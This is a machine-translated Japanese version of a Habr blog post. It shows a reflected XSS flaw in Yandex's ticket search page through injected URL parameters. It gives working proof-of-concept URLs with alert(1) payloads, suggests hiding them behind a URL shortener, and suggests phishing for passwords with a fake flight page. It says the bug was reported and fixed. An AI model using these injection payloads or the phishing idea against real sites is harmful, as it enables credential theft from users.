Yandexで飛ぶ! または小さなもののためのxss

Yandex Webサイトでの脆弱性の使用の小さな例。

HOWTO
1)フォームを送信します。
2)GETパラメーターを使用します。
3)値がページの本文に書き込まれているものを見つけます。
4)jsを注入しようとします
5)???
6)利益!


いくつかの詳細:



チケット検索フォームにアクセスします。
 http://ticket.yandex.ru/variants/? 


多くのエラーメッセージが表示されます。


アドレスバーに小さな魔法を代入する:
 http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script><script> 


壊れたページを観察します。

さらにパラメーターを操作して、探しているものを見つけ、不要なエラーメッセージを削除します。
 http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"SOME_TEXT<script>alert(1)</script>&klass=first&fromId=&toId=- 
http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"SOME_TEXT<script>alert(1)</script>&klass=first&fromId=&toId=-


それだけです ほぼテレマーケット。


テキストをより説得力のあるものにするだけです。 たとえば、これ:
 http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"%20%20<a%20href='http://google.com'>%20%20</a>%20%20%20.<script>alert(1)</script>&klass=first&fromId=&toId=- 
http://ticket.yandex.ru/variants/?adult_seats=<script%20>&children_seats=</script>"%20%20<a%20href='http://google.com'>%20%20</a>%20%20%20.<script>alert(1)</script>&klass=first&fromId=&toId=-




長いURLでしたね? まあ、怖くない。
ところで、goo.glは私たちを助けません。 悪い言葉でURLを検出します。
しかし、ここには多くの競争がありますので、私たちはそれほど賢くはありません。 bit.ly/KHEmsr

これで、たとえば、以前に落書きしていたソーシャルネットワーク上のYandexへの興味深いリンクを投稿できます
フライト検索ページのコピー、世界中のすべてのパスワードを要求します...

さらに、再び、掘りませんでした。

PS:この投稿は、単に教育目的のために書かれました。

UPD :Yandexの技術サポートに手紙を書きました。

簡単な結論:




UPD2 :バグ修正。 ああ、どうも...

Source: https://habr.com/ru/post/J144892/


All Articles